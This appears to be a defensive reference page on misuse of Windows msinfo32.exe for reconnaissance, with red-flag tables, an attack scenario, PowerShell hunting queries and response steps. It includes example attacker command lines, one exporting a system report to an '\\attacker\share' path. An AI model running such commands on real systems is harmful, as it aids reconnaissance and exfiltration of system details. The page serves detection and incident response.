Suspicious Indicators
Red Flags
| Indicator | Concern Level | Description |
|---|---|---|
| Automated execution | Medium | Scripted reconnaissance |
| Output to network share | High | Exfiltrating system info |
| Part of attack chain | High | Following initial access |
| Wrong location | Critical | Impersonation |
Reconnaissance Patterns
Suspicious Usage:
- Running shortly after compromise
- Output redirected to unusual location
- Combined with other recon tools
- Executed by malware process
Benign vs Suspicious
| Context | Assessment |
|---|---|
| IT support call | Benign |
| Software inventory | Benign |
| Post-compromise | Suspicious |
| Automated collection | Suspicious |

System Reconnaissance
Reconnaissance Scenario:
1. Attacker gains initial access
2. Runs msinfo32.exe to gather info
3. Exports to file or reads output
4. Uses info for attack planning
5. Identifies vulnerabilities/targets
Information Gathering
:: Attacker reconnaissance
msinfo32.exe /nfo C:\Temp\sysinfo.nfo
msinfo32.exe /report \\attacker\share\info.txt
Attack Planning Data
| Information | Attacker Use |
|---|---|
| OS version | Exploit selection |
| Installed software | Target applications |
| Network config | Lateral movement |
| Security software | Evasion planning |
Living-off-the-Land
msinfo32 as recon tool:
- Built-in Windows utility
- No download required
- Comprehensive data
- Often overlooked in monitoring

Remediation Steps
Remediation Steps
Context Assessment
When msinfo32 runs, evaluate:
- Who ran it and why?
- Was it IT-initiated?
- What else happened around that time?
- Where was output saved?
Investigation
# Find NFO files created recently
Get-ChildItem -Path C:\ -Recurse -Filter "*.nfo" -ErrorAction SilentlyContinue |
Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }
# Check for suspicious callers
Get-WinEvent -FilterHashtable @{LogName='Security';Id=4688} |
Where-Object { $_.Properties[5].Value -like "*msinfo32*" }
Response
| Finding | Action |
|---|---|
| IT-initiated | Document and close |
| Unknown source | Investigate further |
| Post-compromise | Full incident response |
